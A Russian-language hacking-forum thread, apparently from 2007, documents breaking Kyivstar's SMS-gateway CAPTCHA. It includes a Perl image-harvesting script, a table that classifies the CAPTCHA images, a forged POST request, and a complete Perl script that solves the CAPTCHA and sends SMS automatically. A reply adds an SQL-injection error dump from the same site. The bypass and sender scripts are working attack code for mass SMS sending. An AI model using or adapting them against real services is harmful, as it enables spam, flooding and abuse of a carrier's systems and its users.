kyivstar CAPTCHA III(полное разоблачение) kyivstar CAPTCHA III(полное разоблачение) Предыстория 2 августа была изменена система защиты( CAPTCHA ). 3 августа , мною был найден баг подробней тут _https://forum.antichat.ru/thread44779.html. 4 августа ошибки уже были исправлены ( оперативно ). 4 августа ( вечером ) изучения "переделанной" capth'и ,были изчерпаными . История изучения Зайдя на _www.kyivstar.net/sms/ система предложила мне указать "Номер телефону" ,выбрать "Набір символів" и написать "Текст повідомлення". Открыл сорс начал бегать глазами и нашел интересный момент (указан отредактированный фрагмент кода) Code: ..... <p class="header"> Для того, щоб надіслати SMS,<br/> вкажіть [SIZE=4][B]2[/B] [/SIZE]картинки живої природи. image-number="1" ...<img src="22B547867D97629D9627ADCAEE246F22e475e353f082678331"... image-number="2" ...<img src="A1D42D05FC982AA3E1C053382C9D2229e475e353f082678341"... ...<img src="8A8EC206ACC445084C34B086F01204D8e475e353f082678355"... ....="BE6601BE804C5DCCF633B94C0515E09Ee475e353f082678364"... ....="4A4DF8EC973931AC92B8D7CBA7159B79e475e353f082678337"... ....="2C97C4C704D8B66185188A829CE8E97Ce475e353f082678362"... ....="C30FDBB169DBAFC401D22424B32CF698e475e353f082678335"... ....."DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327"... ....."847B9DF288414004D499840CE1555CDFe475e353f082678342"... </div> ...... Когда я введу номер и сообщение , система мне скажет укажи 2-е картинки живой природы. Зайдя по ссылке www.kyivstar.net/_sms/22B547867D97629D9627ADCAEE246F22e475e353f082678331 Система показала мне картину ,это была живая природа! Ай думаю "2 картинки" 1-ну уже нашел пойду вторую найду.. Перебирая нашел вот она "DD3E31B6944D54737A851A6C66B8BB17e475e353f082678327".Позже начал всматриваться во все картинки ( а вернее в их ключ ), уж больно они похожи были , логически разбил их части , вот что у меня вышло Code: 1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа ) 2_img:"A1D42D05FC982AA3E1C053382C9D2229" "e475e353f0826783" "41" 3_img:"8A8EC206ACC445084C34B086F01204D8" "e475e353f0826783" "55" 4_img:"BE6601BE804C5DCCF633B94C0515E09E" "e475e353f0826783" "64" 5_img:"4A4DF8EC973931AC92B8D7CBA7159B79" "e475e353f0826783" "37" 6_img:"2C97C4C704D8B66185188A829CE8E97C" "e475e353f0826783" "62" 7_img:"C30FDBB169DBAFC401D22424B32CF698" "e475e353f0826783" "35" 8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа ) 9_img:"847B9DF288414004D499840CE1555CDF" "e475e353f0826783" "42" Красиво разбились неправда-ли ? После маленький модификаций ключа ( всего целиком ) , пришел к выводу: -первый ключ длинной 32 это позиция звёздочки на картинке ( длинна константа ) -следующие цифры ( это константа текущего соединения) ( длина не постоянна ) -последние две цифры , это картинка ("природа" или "не природа") Как я пришел к выводу , что последние две цифры это картинка ?. Просто когда я глумился на ключём ( хаотично менял последние цифры ) менялась суть картинки , но когда я поменял последние 2 цифры на "01" ( пример ключа: "847B9DF288414004D499840CE1555CDFe475e353f082678301" ) , выскочила ошибка: Code: Warning: imagecreatefromjpeg(/var/www.kyivstar.net/www/i/sms_images/01.jpg) [function.imagecreatefromjpeg]: failed to open stream: No such file or directory in /var/www.kyivstar.net/www/_sms/_image.php on line 12 Warning: imagealphablending(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 14 Warning: imagesx(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 35 Warning: imagesy(): supplied argument is not a valid Image resource in /var/www.kyivstar.net/www/_sms/_image.php on line 36 ........... Опа! последние две цифры это картинка , в ошибке это чётко видно - система не может найти фай "01.jpg". Решил составить свою базу картинок .Но не перебирать же мне руками значения от 0 до 99 Написал скрипт скачки картинок : Code: #!/usr/bin/perl use LWP::UserAgent; use strict; print "\t\tks_exemple.pl ~ / Kyivstar Image downloader /\n". "\t\t\tby demonoid 212-905-288\n". "\t\tspecical for forum.antichat.ru / 04.08.2007 /\n\n"; my $path = "C:/img/"; my $errfile = "error_img.log"; my $gdfile = "good_img.log"; my $img; open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n"; open(GD_FILE, ">>$path$gdfile") || exit print "[-]Cant open $gdfile\n"; my $ua = LWP::UserAgent -> new; for(0..99) { $img="http://www.kyivstar.net/i/sms_images/$_.jpg"; my $resp=$ua -> get("$img", ':content_file' => "$path$_.jpg"); if( $resp->status_line =~/404/ ) { print ERR_FILE "$_.jpg\n"; } else { print GD_FILE "$_.jpg\n"; } } print "Look file:\n". "~~~~~~~~~~~\n". "[-]Not Found image -> $errfile\n". "[+] Found image -> $gdfile\n"; close ERR_FILE; close GD_FILE; Смотрим какие картинки удачно скачаны в "good_img.log" всего там 36 штук. Теперь глазками визуально смотрим на эти картинки в этой же папке, и одновременно пущем базу "природа" Code: ПРИРОДА([B]17[/B]) 24,25,26,27,29,30,31,34,48,54,58,59,60,61,65,66,67 НЕПРИРОДА([B]19[/B]) 32,33,35,37,39,41,42,45,46,47,49,50,51,53,55,56,62,63,64 Теперь мы можем научить наш скрипт распознавать природу неприроду т.к база уже есть. Второй интересный момент( отредактированный код ): Code: ..... <input type="hidden" name="code" id="code_1" value="1186249808" /> <input type="hidden" name="code" id="code_2" value="96342973" /> ..... id="code_3" value="FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E14860F6BC6D30796DB068725D087616963650BCCB941B74C4795904E6CCC3F8D63" /> ..... id="code_4" value="" /> ......id="code_2" value="102984129" /> ......id="code_4" value="6B233ABC50FC6E19941920F7C6C50DDC" /> ..... id="code_4" value="94D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92" /> ......id="code_4" value="BDFB6030FF0BAF0D" /> ....... как я понял это вспомогательные ключи для рандома звёздочки и природы ( глубоко изучать их не будем т.к. они не несут важной информации , мы их просто вставим в пакет ) пример пакета: Code: POST /_sms/ HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-icq, */* Referer: http://www.kyivstar.net/_sms/?lang=ua Accept-Language: ru Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Host: www.kyivstar.net Content-Length: 365 Connection: Keep-Alive Cache-Control: no-cache Cookie: countSms=0; isUserLogined=false; messageID=20070804193602.08D77B%40messenger; countSms=18; messageID=20070803183306.462EA7%40messenger; isUserLogined=false submitted=true &lang=ua &sms_adv=3 &mobcode=097 &number=XXXXXXX &lat=1 &message=polo &code=1186249808 &code=96342973 &code=FF6765EE1D14EBBB24DC5235749B7539B0315C466DD56E14860F6BC6D30796DB068725D087616963650BCCB941B74C4795904E6CCC3F8D63 &code=0108 &code=102984129 &code=6B233ABC50FC6E19941920F7C6C50DDC &code=4D26219B6644ED69D9914EF03D6E0EAE1EADD179D108E92 &code=BDFB6030FF0BAF0D всё ясно всё значение code берём из вспомогательных ключей , кроме code=0108 , это как можно было догадаться позиции картинки смотрим выше Code: 1_img:"22B547867D97629D9627ADCAEE246F22" "e475e353f0826783" "31" ( живая природа ) 8_img:"DD3E31B6944D54737A851A6C66B8BB17" "e475e353f0826783" "27" ( живая природа ) 1-я и 8-я картинка вот и вышло "0108" Дальше я хотел написать пример отправки сообщения , но понимаю что всё это обратиться в спам , поэтому не буду выкладывать примеры , и так выложил много пищи для ума. Важно : 1-Материал исключительно в ознакомительных целях! 2-Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.
Вообщем очередной антиспам-защите пришел белый и пушистый. Первая "картинка" от КС (с кукой ) была несколько лет. Вторая - месяц. С момента введения третьей до ее взлома прошло примерно 4-6 часов. В тот же день тот баг пофиксили. На следующий день (т.е сегодня) всю систему вскрыли с потрохами Что же будет дальше? Вообщем угадай мело... тьфу. систему получается. Это очередной раз доказывает то что нет ничего что нельзя взломать. Вопрос только в наличии желания и свободного времени. Новый респект demonoid'у. Расшифровать код не всегда просто. Я еще опять собирался решить задачу "влоб" - думал организовать распознавание картинки по размеру файла (ибо это не бмп где все равны) но это дело не пошло т.к. заездочка все портит. Размер имеет большой среднестатистический разброс и перекрывается с размерами других картинок....
Немного об авторах Lebedev Studio Студия Артемия Лебедева _http://www.artlebedev.ru //http://kyivstar.net/_sms/x_forms_with_code.js
А теперь что? Пофиксят и эту? Как же они пофиксили ту? Или админы КС тусят на античате, или им кто-то настучал с АНТИЧАТА. Или юзают гугл. Что же дальше будет-то?
Дальше будет или открытие следующего бага или конец света. Одно из двух имхо. Причем второе менее вероятно
Пофиксили , пример отправки был такой: Code: #!/usr/bin/perl use LWP::UserAgent; use strict; use warnings; print q( -------------------------------------- | | - | + | x | -------------------------------------- | specical for antichat.ru _______ | | ------------------------- | || | icq:212-905-288 | ? || | ------------------------- |_______|| -------------------------------------- ); my $ua = LWP::UserAgent->new; my $url = 'http://www.kyivstar.net/_sms/'; my @good_img = ( '22','24','25','26','27','29','30', '31','34','48','54','58','59', '60','61','65','66','67' ); my ( $count ,$i ,$len_c ,$code_4,$k,$curr_n_img ); my ( @n_img,@img_code,@con_code); my $request = HTTP::Request->new(GET => $url); my $response = $ua->request($request); my $res = $response->content; #print $res; @img_code = ( $res =~ m/<img src="(\w+)"/gi); @con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi); for(0..8) { $i++; $len_c = length($img_code[$_]); $n_img[$i] = substr($img_code[$_],$len_c-2,2); #print "$i| $img_code[$_] = $n_img[$i]\n"; } for(0..8) { $k++; $curr_n_img = $n_img[$k]; for(0..17) { if( $curr_n_img == $good_img[$_] ) { #print "[$k] $curr_n_img\n"; $code_4.="0$k"; } } } $con_code[4]=$code_4; #check send_function(@con_code); #---------------------------------- sub send_function { #exit; my @code=@_; my $browser = LWP::UserAgent->new; $browser->agent('New captcha v3.0'); #$browser->proxy(['http'] => 'http://218.223.221.217:8080/'); my $mob_code = "097"; my $mob_number = "XXXXXXX"; my $messenge = "hello_antichat.ru"; printf "\n\n\t[+]Send %s-%s \n\tmessage: \<<%s\>> \n", $mob_code,$mob_number,$messenge ; my $url="http://kyivstar.net/_sms/"; my $response = $browser->post($url, ["submitted" => "true", "lang" => "ua", "sms_adv" => "101", "mobcode" => $mob_code, "number" => $mob_number, "lat" => 1, "message" => $messenge, "code" => $code[1], "code" => $code[3], "code" => $code[5], "code" => $code[4],#check "code" => $code[7], "code" => $code[9], "code" => $code[11], "code" => $code[13]], "Content-Type" => "application/x-www-form-urlencoded", "Referer" => "http://kyivstar.net/_sms/", "Connection" => "Keep-Alive", "Cache-Control"=> "no-cache"); my $status= $response->as_string(); ( $status =~/messageID/g )?print "[+] Good send\n":print "[-] Not send!"; }
когдато нашол скуль))) на етом сайте, и много багом, и тоже писал флудер))) смотрите на принскрин) вот ищо баги http://www.utech.in.ua/kyivstar/1.htm http://www.utech.in.ua/kyivstar/2.htm Code: Unhandled Exception (Debug) ORA-00933: SQL command not properly ended (execute, -1) SELECT vacancy.vacancy_id, vacancy.category_id, vacancy.vacancy_id as id, vacancy.is_published, vacancy_category_text.name as category_name, vacancy_text.post, vacancy_text.speciality, vacancy_text.functions, vacancy_text.requirement, vacancy_text.additional, vacancy.city_id, city_text.name as city_name FROM vacancy, vacancy_text, vacancy_category, vacancy_category_text, city_text WHERE vacancy_category.category_id=vacancy.category_id AND vacancy_category.category_id=vacancy_category_text.category_id AND vacancy_category.is_published=1 AND vacancy.is_published=1 AND vacancy_category_text.lang_id = 2 AND vacancy_text.vacancy_id = vacancy.vacancy_id AND vacancy_text.lang_id = 2 AND city_text.city_id = vacancy.city_id AND city_text.lang_id = 2 AND vacancy.vacancy_id = 26' ORDER BY vacancy.sort_order, city_text.name /var/www.kyivstar.net/www//../data/classes/sql.p(139) exception.type=sql.execute -------------------------------------------------------------------------------- sql /var/www.kyivstar.net/www//../data/classes/sql.p(139) jSql /var/www.kyivstar.net/www//../data/classes/sql.p(275) jSql /var/www.kyivstar.net/www//../data/classes/sql.p(284) if /var/www.kyivstar.net/www//../data/classes/sql.p(284) _execute /var/www.kyivstar.net/www//../data/classes/sql.p(275) if /var/www.kyivstar.net/www//../data/classes/sql.p(256) _sql /var/www.kyivstar.net/www//../data/classes/sql.p(139) jBody /var/www.kyivstar.net/www//../data/classes/sql.p(246) code /var/www.kyivstar.net/www//../data/classes/common/lib.p(361) if /var/www.kyivstar.net/www//../data/classes/common/lib.p(333) run_time /var/www.kyivstar.net/www//../data/classes/sql.p(246) _measure /var/www.kyivstar.net/www//../data/classes/sql.p(138) table /var/www.kyivstar.net/www//../data/processes/vacancy.bp(11) showVacancy /var/www.kyivstar.net/www//../data/processes/vacancy.bp(4) if /var/www.kyivstar.net/www//../data/processes/vacancy.bp(3) main /var/www.kyivstar.net/www//../data/classes/engine.p(2284) trim /var/www.kyivstar.net/www//../data/classes/engine.p(2284) rem /var/www.kyivstar.net/www//../data/classes/engine.p(2284) if /var/www.kyivstar.net/www//../data/classes/engine.p(2282) executeProcess /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(111) parseBlockPostProcess /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(111) parseBlock_data /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(111) if /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(107) if /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(99) if /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(98) menu /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(97) processBlocks /var/www.kyivstar.net/www//../data/classes/engine.p(1513) parseBlockPostProcess /var/www.kyivstar.net/www//../data/classes/engine.p(1513) sort /var/www.kyivstar.net/www//../data/classes/engine.p(1513) if /var/www.kyivstar.net/www//../data/classes/engine.p(1511) if /var/www.kyivstar.net/www//../data/classes/engine.p(1504) executeBlocks /var/www.kyivstar.net/www//../data/classes/engine.p(1821) data /var/www.kyivstar.net/www//../data/classes/engine_kyivstar.p(53) pagePreProcess /var/www.kyivstar.net/www//../data/classes/engine.p(1819) defaultPage /var/www.kyivstar.net/www//../data/processes/common.pp(2) main /var/www.kyivstar.net/www//../data/classes/engine.p(2284) trim /var/www.kyivstar.net/www//../data/classes/engine.p(2284) rem /var/www.kyivstar.net/www//../data/classes/engine.p(2284) if /var/www.kyivstar.net/www//../data/classes/engine.p(2282) executeProcess /var/www.kyivstar.net/www//../data/classes/engine.p(1454) if /var/www.kyivstar.net/www//../data/classes/engine.p(1453) generatePage /var/www.kyivstar.net/www//../data/classes/engine.p(1398) _content /var/www.kyivstar.net/www//../data/classes/engine.p(1419) if /var/www.kyivstar.net/www//../data/classes/engine.p(1410) if /var/www.kyivstar.net/www//../data/classes/engine.p(1394) if /var/www.kyivstar.net/www//../data/classes/engine.p(1393) execute /var/www.kyivstar.net/www/_doc.html(106) object /var/www.kyivstar.net/www/_doc.html(105) jBody /var/www.kyivstar.net/www//../data/classes/oracle.p(40) jBody /var/www.kyivstar.net/www//../data/classes/sql.p(76) connect /var/www.kyivstar.net/www//../data/classes/sql.p(76) inc /var/www.kyivstar.net/www//../data/classes/sql.p(76) server /var/www.kyivstar.net/www//../data/classes/oracle.p(35) server /var/www.kyivstar.net/www/_doc.html(96) jBody /var/www.kyivstar.net/www//../data/classes/cachepage.p(53) trim /var/www.kyivstar.net/www//../data/classes/cachepage.p(53) cache /var/www.kyivstar.net/www//../data/classes/cachepage.p(51) run /var/www.kyivstar.net/www/_doc.html(94)
я когда-то я письма где-то по 5 штук в каждом им отправлял.. типо у вас на сайте уязвимость.. в ответ спасибо за внимание( но там есть то что надо
кто ломал новую капчу кс? какие мысли будут по обходу? пытался делать базу картинок, но походу они каждый раз уникализируются
Давно было, и не правда уже... Теперь, если нужно отправить смс сижу на http://www.smsglobal.com Ну а если смс-кам приходит конец захожу на http://sms.owap.ru причем с тела летает =)
sms.owap.ru не работает smsglobal.com -там платно или бесплатно? просят оставить свой моб- настораживает